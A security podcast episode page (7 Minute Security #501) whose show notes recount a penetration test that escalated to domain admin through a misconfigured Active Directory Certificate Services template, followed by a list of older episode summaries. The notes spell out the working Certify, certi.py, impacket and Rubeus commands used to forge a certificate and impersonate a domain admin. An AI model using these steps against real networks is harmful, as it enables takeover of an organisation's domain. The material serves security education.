7MS #501: Tales of Pentest Pwnage - Part 31
7 Minute Security29 Joulu 2021

7MS #501: Tales of Pentest Pwnage - Part 31

Today we're closing down 2021 with a tale of pentest pwnage - this time with a path to DA I had never had a chance to abuse before: Active Directory Certificate Services! For the full gory details on this attack path, see the Certified Pre-Owned paper from the SpecterOps crew. The TLDR/TLDL version of how I abused this path is as follows:

Run Certify.exe find /vulnerable, and if you get some findings, review the Certified Pre-Owned paper and the Certify readme file for guidance on how to exploit them. In my case, the results I got from Certify showed:

msPKI-Certificates-Name-Flag : ENROLLEE_SUPPLIES_SUBJECT

Reading through the Certify readme, I learned "This allows anyone to enroll in this template and specify an arbitrary Subject Alternative Name (i.e. as a DA)." The Certify readme file walks you through how to attack this config specifically, but I had some trouble running all the tools from my non-domain-joined machine. So I used a combination of Certify and Certi to get the job done. First I started on Kali with the following commands:

sudo python3 /opt/impacket/examples/getTGT.py 'victimdomain.domain/MYUSER:MYPASS' export KRB5CCNAME=myuser.cache sudo python3 ./certi.py req 'victimdomain.domain/MYUSER@FQDN.TO.CERT.SERVER' THE-ENTERPRISE-CA-NAME -k -n --alt-name DOMAIN-ADMIN-I-WANT-TO-IMPERSONATE --template VULNERABLE-TEMPLATE NAME

From that you will get a .pfx file which you can bring over to your non-domain-joined machine and do:

rubeus.exe purge rubeus.exe asktgt /user:DOMAIN-ADMIN-I-WANT-TO-IMPERSONATE /certificate:DOMAIN-ADMIN-I-WANT-TO-IMPERSONATE@victim.domain.pfx /password:PASSWORD-TO-MY-PFX-FILE /domain:victimdomain.domain /dc:IP.OF.DOMAIN.CONTROLLER

And that's it! Do a dir \\FQDN.TO.DOMAIN.CONTROLLER\C$ and enjoy your new super powers!

Jaksot(703)

7MS #102: Recon-ng!

7MS #102: Recon-ng!

I'm a big fan of Recon-ng and you should be too! Check it out - and learn more about Tim Tomes, its creator - at www.lanmaster53.com. And here's the video I mentioned in the podcast - my first look at Recon-ng in action: https://www.youtube.com/watch?v=vkmNTNl6urw

15 Loka 20158min

7MS #101: OFFTOPIC-I Am Chris Farley

7MS #101: OFFTOPIC-I Am Chris Farley

The new(ish) Chris Farley documentary is fantastic - see it!

14 Loka 20157min

7MS #100: Assessment Curses Can Be Blessings

7MS #100: Assessment Curses Can Be Blessings

Ever had an assessment that you thought would be the death of you? I had one recently, but after sticking it out, it turned out to be a blessing in disguise.

9 Loka 20157min

7MS #99: How to Deliver Bad News in a Good Way

7MS #99: How to Deliver Bad News in a Good Way

Today's episode gives you some tips on how to deliver bad news in an assessment in a positive way. I think that last sentence was a grammatical nightmare.

2 Loka 20158min

7MS #98: Intro to PCI Scoping

7MS #98: Intro to PCI Scoping

So far I've focused on the technical aspects of PCI, but I'm trying to get familiar with the overall scoping questions that my tenacious QSA friends ask when they start a gap analysis. This episode shares some interesting tidbits I learned while doing some QSA "shadowing" on an assessment of a restaurant.

30 Syys 20158min

7MS #97: OFFTOPIC-Limbo

7MS #97: OFFTOPIC-Limbo

We're going off topic today and talking about video games! LIMBO for the Xbox!

25 Syys 20157min

7MS #96: How to Make Enemies During a Security Assessment

7MS #96: How to Make Enemies During a Security Assessment

Yep, we're talking about how to make ENEMIES during a security assessment today (and maybe turn them into friends).

23 Syys 20159min

7MS #95: How to Make Friends During a Security Assessment

7MS #95: How to Make Friends During a Security Assessment

When you start a security assessment with a company, not everybody's gonna be glad to see you. The IT dept and other employees may have tense shoulders, thinking that this is an Office Space situation where they're interviewing for their jobs. This episode talks about some ways you might be able to get your assessment off to a right start.

17 Syys 20157min

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